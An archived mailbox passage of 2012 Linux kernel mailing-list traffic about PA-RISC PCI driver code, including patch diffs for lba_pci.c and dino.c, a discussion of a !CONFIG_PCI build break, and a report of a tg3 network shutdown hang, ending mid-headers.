@@ -726,27 +725,6 @@ lba_fixup_bus(struct pci_bus *bus)
 			if (!res->start)
 				continue;
 
-			if (res->flags & IORESOURCE_IO) {
-				DBG("lba_fixup_bus() I/O Ports [%lx/%lx] -> ",
-					res->start, res->end);
-				res->start |= lba_portbase;
-				res->end   |= lba_portbase;
-				DBG("[%lx/%lx]\n", res->start, res->end);
-			} else if (res->flags & IORESOURCE_MEM) {
-				/*
-				** Convert PCI (IO_VIEW) addresses to
-				** processor (PA_VIEW) addresses
-				 */
-				DBG("lba_fixup_bus() MMIO [%lx/%lx] -> ",
-					res->start, res->end);
-				res->start = PCI_HOST_ADDR(HBA_DATA(ldev), res->start);
-				res->end   = PCI_HOST_ADDR(HBA_DATA(ldev), res->end);
-				DBG("[%lx/%lx]\n", res->start, res->end);
-			} else {
-				DBG("lba_fixup_bus() WTF? 0x%lx [%lx/%lx] XXX",
-					res->flags, res->start, res->end);
-			}
-
 			/*
 			** FIXME: this will result in whinging for devices
 			** that share expansion ROMs (think quad tulip), but
@@ -1514,11 +1492,14 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->hba.lmmio_space.flags = 0;
 	}
 
-	pci_add_resource(&resources, &lba_dev->hba.io_space);
+	pci_add_resource_offset(&resources, &lba_dev->hba.io_space,
+				HBA_PORT_BASE(lba_dev->hba.hba_num));
 	if (lba_dev->hba.elmmio_space.start)
-		pci_add_resource(&resources, &lba_dev->hba.elmmio_space);
+		pci_add_resource_offset(&resources, &lba_dev->hba.elmmio_space,
+					lba_dev->hba.lmmio_space_offset);
 	if (lba_dev->hba.lmmio_space.flags)
-		pci_add_resource(&resources, &lba_dev->hba.lmmio_space);
+		pci_add_resource_offset(&resources, &lba_dev->hba.lmmio_space,
+					lba_dev->hba.lmmio_space_offset);
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] fix compile break caused by iomap: make IOPORT/PCI mapping functions conditional
Date: Mon, 30 Jan 2012 21:10:45 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <1539148.qFWsuy2OOI@eto>
References: <1327941647.21193.53.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1645417.cUTOy9pxfp"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1327954286 5523 80.91.229.3 (30 Jan 2012 20:11:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 30 Jan 2012 20:11:26 +0000 (UTC)
Cc: Randy Dunlap <rdunlap@xenotime.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 30 21:11:25 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RrxZT-00057O-9z
	for glpp-linux-parisc@plane.gmane.org; Mon, 30 Jan 2012 21:11:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753159Ab2A3ULW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Jan 2012 15:11:22 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:60787 "EHLO www.sf-tec.de"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752867Ab2A3ULV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Jan 2012 15:11:21 -0500
Original-Received: (qmail 22440 invoked from network); 30 Jan 2012 20:11:19 -0000
Original-Received: from dslb-178-003-169-206.pools.arcor-ip.net ([::ffff:178.3.169.206] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by www.sf-tec.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <james.bottomley@hansenpartnership.com>; Mon, 30 Jan 2012 21:11:19 +0100
User-Agent: KMail/4.8.0 (Linux/3.2.0-6-desktop; KDE/4.8.0; x86_64; ; )
In-Reply-To: <1327941647.21193.53.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4126 gmane.linux.kernel.cross-arch:12088
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4126>


--nextPart1645417.cUTOy9pxfp
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Montag 30 Januar 2012, 10:40:47 schrieb James Bottomley:
> The problem in
> 
> commit fea80311a939a746533a6d7e7c3183729d6a3faf
> Author: Randy Dunlap <rdunlap@xenotime.net>
> Date:   Sun Jul 24 11:39:14 2011 -0700
> 
>     iomap: make IOPORT/PCI mapping functions conditional
> 
> 
> is that if your architecture supplies pci_iomap/pci_iounmap, it expects
> always to supply them.  Adding empty body defitions in the !CONFIG_PCI
> case, which is what this patch does, breaks the parisc compile because
> the functions become doubly defined.  It took us a while to spot this,
> because we don't actually build !CONFIG_PCI very often (only if someone
> is brave enough to test the snake/asp machines).
> 
> Since the note in the commit log says this is to fix a
> CONFIG_GENERIC_IOMAP issue (which it does because CONFIG_GENERIC_IOMAP
> supplies pci_iounmap only if CONFIG_PCI is set), there should actually
> have been a condition upon this.  This should make sure no other
> architecture's !CONFIG_PCI compile breaks in the same way as parisc.
> 
> The fix had to be updated to take account of the GENERIC_PCI_IOMAP
> separation.

So this means we end up still building the PA-RISC PCI code even if the config 
says no PCI. That doesn't really sound consistent to me. I really would have 
expected that we do not build any non-void PCI code then.

> Reported-by: Rolf Eike Beer <eike@sf-mail.de>

I used the wrong email account when sending out the last patch where you took 
that from, please change that to the address used in this mail.

Eike
--nextPart1645417.cUTOy9pxfp
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk8m+UwACgkQXKSJPmm5/E7FrgCaA2uVI5Xy5j0ck//kZHPWB9oZ
DT4AnjagwQ8gBcNGVtWV3ECQEKKMF26r
=O17p
-----END PGP SIGNATURE-----

--nextPart1645417.cUTOy9pxfp--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] fix compile break caused by iomap: make IOPORT/PCI
 mapping functions conditional
Date: Mon, 30 Jan 2012 16:45:22 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1327963522.21193.92.camel@dabdike.int.hansenpartnership.com>
References: <1327941647.21193.53.camel@dabdike.int.hansenpartnership.com>
	 <1539148.qFWsuy2OOI@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1327963532 8737 80.91.229.3 (30 Jan 2012 22:45:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 30 Jan 2012 22:45:32 +0000 (UTC)
Cc: Randy Dunlap <rdunlap@xenotime.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 30 23:45:30 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RrzyY-0000Fr-7Q
	for glpp-linux-parisc@plane.gmane.org; Mon, 30 Jan 2012 23:45:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753293Ab2A3WpZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Jan 2012 17:45:25 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53069 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752760Ab2A3WpY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Jan 2012 17:45:24 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 959E78EE0D2;
	Mon, 30 Jan 2012 14:45:24 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gmf_yWqRl7aT; Mon, 30 Jan 2012 14:45:24 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id DE3658EE0C4;
	Mon, 30 Jan 2012 14:45:23 -0800 (PST)
In-Reply-To: <1539148.qFWsuy2OOI@eto>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4127 gmane.linux.kernel.cross-arch:12094
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4127>

On Mon, 2012-01-30 at 21:10 +0100, Rolf Eike Beer wrote:
> Am Montag 30 Januar 2012, 10:40:47 schrieb James Bottomley:
> > The problem in
> > 
> > commit fea80311a939a746533a6d7e7c3183729d6a3faf
> > Author: Randy Dunlap <rdunlap@xenotime.net>
> > Date:   Sun Jul 24 11:39:14 2011 -0700
> > 
> >     iomap: make IOPORT/PCI mapping functions conditional
> > 
> > 
> > is that if your architecture supplies pci_iomap/pci_iounmap, it expects
> > always to supply them.  Adding empty body defitions in the !CONFIG_PCI
> > case, which is what this patch does, breaks the parisc compile because
> > the functions become doubly defined.  It took us a while to spot this,
> > because we don't actually build !CONFIG_PCI very often (only if someone
> > is brave enough to test the snake/asp machines).
> > 
> > Since the note in the commit log says this is to fix a
> > CONFIG_GENERIC_IOMAP issue (which it does because CONFIG_GENERIC_IOMAP
> > supplies pci_iounmap only if CONFIG_PCI is set), there should actually
> > have been a condition upon this.  This should make sure no other
> > architecture's !CONFIG_PCI compile breaks in the same way as parisc.
> > 
> > The fix had to be updated to take account of the GENERIC_PCI_IOMAP
> > separation.
> 
> So this means we end up still building the PA-RISC PCI code even if the config 
> says no PCI. That doesn't really sound consistent to me. I really would have 
> expected that we do not build any non-void PCI code then.

The first object is to fix the build breakage which likely affects more
than just parisc. Having a non-stub for the pci functions is just a few
spurious bytes in a kernel that's megabytes big (and it's what we were
doing previously).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH 08/14] PCI, parisc: Register busn_res for root buses
Date: Mon, 30 Jan 2012 23:42:46 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <1327995772-11388-9-git-send-email-yinghai@kernel.org>
References: <1327995772-11388-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1327995851 3884 80.91.229.3 (31 Jan 2012 07:44:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 31 Jan 2012 07:44:11 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 31 08:44:07 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rs8Nl-0005q6-So
	for glpp-linux-parisc@plane.gmane.org; Tue, 31 Jan 2012 08:44:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753207Ab2AaHn6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 Jan 2012 02:43:58 -0500
Original-Received: from rcsinet15.oracle.com ([148.87.113.117]:59731 "EHLO
	rcsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753176Ab2AaHno (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 Jan 2012 02:43:44 -0500
Original-Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238])
	by rcsinet15.oracle.com (Switch-3.4.4/Switch-3.4.4) with ESMTP id q0V7hMjn013326
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 31 Jan 2012 07:43:23 GMT
Original-Received: from acsmt358.oracle.com (acsmt358.oracle.com [141.146.40.158])
	by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q0V7hL8x022541
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 31 Jan 2012 07:43:21 GMT
Original-Received: from abhmt111.oracle.com (abhmt111.oracle.com [141.146.116.63])
	by acsmt358.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q0V7hK2w008733;
	Tue, 31 Jan 2012 01:43:20 -0600
Original-Received: from linux-siqj.site (/10.159.165.2)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Mon, 30 Jan 2012 23:43:19 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1327995772-11388-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet22.oracle.com [141.146.126.238]
X-Auth-Type: Internal IP
X-CT-RefId: str=0001.0A090205.4F279B9B.0064,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4128 gmane.linux.kernel.pci:13309 gmane.linux.kernel:1246253 gmane.linux.kernel.cross-arch:12104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4128>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    2 ++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..3f2e203 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1014,7 +1014,9 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(bus, dino_current_bus, 255);
 	bus->subordinate = pci_scan_child_bus(bus);
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..b58bf8b 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1531,6 +1531,9 @@ lba_driver_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(lba_bus, lba_dev->hba.bus_num.start,
+				lba_dev->hba.bus_num.end);
+
 	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
-- 
1.7.7

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Maciej Rutecki <maciej.rutecki@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: Hang deconfiguring network interface (in shutdown) on 3.3-rc1
Date: Tue, 31 Jan 2012 21:15:53 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <201201312115.53700.maciej.rutecki@gmail.com>
References: <1327780565.2924.24.camel@dabdike.int.hansenpartnership.com>
Reply-To: maciej.rutecki@gmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1328040965 22464 80.91.229.3 (31 Jan 2012 20:16:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 31 Jan 2012 20:16:05 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	netdev <netdev@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>,
	Paul McKenny <paulmck@linux.vnet.ibm.com>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 31 21:16:04 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RsK7X-0005tW-JP
	for glpp-linux-parisc@plane.gmane.org; Tue, 31 Jan 2012 21:16:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753588Ab2AaUQC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 Jan 2012 15:16:02 -0500
Original-Received: from mail-ee0-f46.google.com ([74.125.83.46]:37909 "EHLO
	mail-ee0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752530Ab2AaUQA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 Jan 2012 15:16:00 -0500
Original-Received: by eekc14 with SMTP id c14so136384eek.19
        for <multiple recipients>; Tue, 31 Jan 2012 12:15:59 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=from:reply-to:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding:message-id;
        bh=Z4EXcElMGGWrm7eSU9s/Uz5eM1JFtvhNkffhtBG0vIc=;
        b=x36hogJuEO/K/owpK+eIPcZQQELMEA3ngD2xLqOMBVCiVvEoophsRv15kJ+4vrVDSj
         rI6oR9SkelRwxsG29jHiFmTDCgd8zDcNSnWJ7p1zxD68k6NjumzxSxSaFH+1RdVQBQ5m
         +GqfvyGO6UCg4KsIYjJ/Fhet1lGiwRs9hIYMc=
Original-Received: by 10.14.50.206 with SMTP id z54mr1510945eeb.127.1328040958964;
        Tue, 31 Jan 2012 12:15:58 -0800 (PST)
Original-Received: from leon.localnet (89-77-8-196.dynamic.chello.pl. [89.77.8.196])
        by mx.google.com with ESMTPS id o49sm41317057eeb.7.2012.01.31.12.15.56
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 31 Jan 2012 12:15:57 -0800 (PST)
User-Agent: KMail/1.13.7 (Linux/3.2.0; KDE/4.6.5; x86_64; ; )
In-Reply-To: <1327780565.2924.24.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4129 gmane.linux.kernel:1246585 gmane.linux.network:219431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4129>

On sobota, 28 stycznia 2012 o 20:56:05 James Bottomley wrote:
> It looks like it might be a tg3 or RCU issue.  When I shut down my
> parisc SMP 4 way system, I get an immediate hang here
> 
> Deconfiguring network interfaces...Internet Systems Consortium DHCP
> Client 4.1.1-P1
> Copyright 2004-2010 Internet Systems Consortium.
> All rights reserved.
> For info, please visit https://www.isc.org/software/dhcp/
> 
> Listening on LPF/eth0/00:30:6e:4b:15:59
> Sending on   LPF/eth0/00:30:6e:4b:15:59
> Sending on   Socket/fallback
> DHCPRELEASE on eth0 to 153.66.140.171 port 67
> 
> Followed some seconds later by
> 
> [ 5714.268000] INFO: rcu_sched detected stall on CPU 3 (t=15000 jiffies)
> [ 5714.268000] Backtrace:
> [ 5714.268000]  [<000000004011fdd4>] show_stack+0x14/0x20
> [ 5714.268000]  [<000000004011fdf8>] dump_stack+0x18/0x28
> [ 5714.268000]  [<00000000401c1fec>] __rcu_pending+0xcc/0x5c8
> [ 5714.276000]  [<00000000401c2d60>] rcu_check_callbacks+0x80/0xf8
> [ 5714.276000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3}
> (detected by 2, t=15002 jiffies)
> [ 5714.276000] Backtrace:
> [ 5714.276000]  [<000000004011fdd4>] show_stack+0x14/0x20
> [ 5714.276000]  [<000000004011fdf8>] dump_stack+0x18/0x28
> [ 5714.276000]  [<00000000401c2484>] __rcu_pending+0x564/0x5c8
> [ 5714.276000]  [<00000000401c2d60>] rcu_check_callbacks+0x80/0xf8
> [ 5714.276000]  [<0000000040155dc8>] update_process_times+0x68/0xd8
> [ 5714.276000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
> [ 5714.276000]  [<00000000401b9cfc>] handle_irq_event_percpu+0xa4/0x2a0
> [ 5714.276000]  [<00000000401be58c>] handle_percpu_irq+0x9c/0xd0
> [ 5714.276000]  [<00000000401b9500>] generic_handle_irq+0x48/0x60
> [ 5714.276000]  [<0000000040121a50>] do_cpu_irq_mask+0x1b8/0x2a8
> [ 5714.276000]  [<0000000040105074>] intr_return+0x0/0x4
> [ 5714.276000]  [<0000000040105074>] intr_return+0x0/0x4
> [ 5714.276000]  [<00000000401296dc>] cpu_idle+0x74/0x80
> [ 5714.276000]  [<000000004078e1d0>] smp_callin+0x150/0x1a0
> [ 5714.276000]
> [ 5714.348000]  [<0000000040155dc8>] update_process_times+0x68/0xd8
> [ 5714.348000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
> [ 5714.356000]  [<00000000401b9cfc>] handle_irq_event_percpu+0xa4/0x2a0
> [ 5714.364000]  [<00000000401be58c>] handle_percpu_irq+0x9c/0xd0
> [ 5714.364000]  [<00000000401b9500>] generic_handle_irq+0x48/0x60
> [ 5714.372000]  [<0000000040121a50>] do_cpu_irq_mask+0x1b8/0x2a8
> [ 5714.372000]  [<0000000040105074>] intr_return+0x0/0x4
> [ 5714.380000]
> 
> This didn't happen in 3.2
> 
> Sysrq still works and sysrq-T shows ifconfig stuck:
> 
> 
> [ 6030.376000] ifconfig        R  running task        0  1470   1452
> 0x00000014
> [ 6030.376000] Backtrace:
> [ 6030.376000]  [<000000004017c6c8>] scheduler_tick+0x180/0x1a0
> [ 6030.376000]  [<0000000040155e1c>] update_process_times+0xbc/0xd8
> [ 6030.376000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
> [ 6030.376000]  [<00000000401b9d54>] handle_irq_event_percpu+0xfc/0x2a0
> [ 6030.376000]  [<0000000040105074>] intr_return+0x0/0x4
> [ 6030.376000]  [<000000004011c638>] _raw_spin_lock_bh+0x30/0x40
> [ 6030.376000]  [<000000004011c620>] _raw_spin_lock_bh+0x18/0x40
> [ 6030.376000]  [<000000001c6e3a64>] tg3_chip_reset+0x9c4/0x1328 [tg3]
> [ 6030.376000]  [<000000001c6eca9c>] tg3_halt+0xdc/0x1d8 [tg3]
> [ 6030.376000]  [<000000001c6f9964>] tg3_close+0x194/0x3f0 [tg3]
> [ 6030.376000]  [<0000000040411518>] __dev_close_many+0x100/0x178
> [ 6030.376000]  [<0000000040415130>] __dev_close+0x30/0x50
> [ 6030.376000]  [<000000004040ebf8>] __dev_change_flags+0xb0/0x1d0
> [ 6030.376000]  [<00000000404113b0>] dev_change_flags+0x28/0x90
> [ 6030.376000]  [<0000000040488d70>] devinet_ioctl+0x748/0x898
> [ 6030.376000]  [<000000004048a5f4>] inet_ioctl+0x204/0x228
> 
> James

I created a Bugzilla entry at 
https://bugzilla.kernel.org/show_bug.cgi?id=42707
for your bug report, please add your address to the CC list in there, thanks!

-- 
Maciej Rutecki
http://www.mrutecki.pl
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 08/15] PCI, parisc: Register busn_res for root buses
Date: Wed,  1 Feb 2012 14:43:55 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <1328136242-17725-9-git-send-email-yinghai@kernel.org>
References: <1328136242-17725-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1328136322 16863 80.91.229.3 (1 Feb 2012 22:45:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2012 22:45:22 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Feb 01 23:45:15 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1RsivR-000383-7l
	for glk-linux-kernel-3@plane.gmane.org; Wed, 01 Feb 2012 23:45:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933279Ab2BAWo4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 1 Feb 2012 17:44:56 -0500
Original-Received: from rcsinet15.oracle.com ([148.87.113.117]:48709 "EHLO
	rcsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933187Ab2BAWow (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 1 Feb 2012 17:44:52 -0500
Original-Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93])
	by rcsinet15.oracle.com (Switch-3.4.4/Switch-3.4.4) with ESMTP id q11MiSJg010314
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 1 Feb 2012 22:44:29 GMT
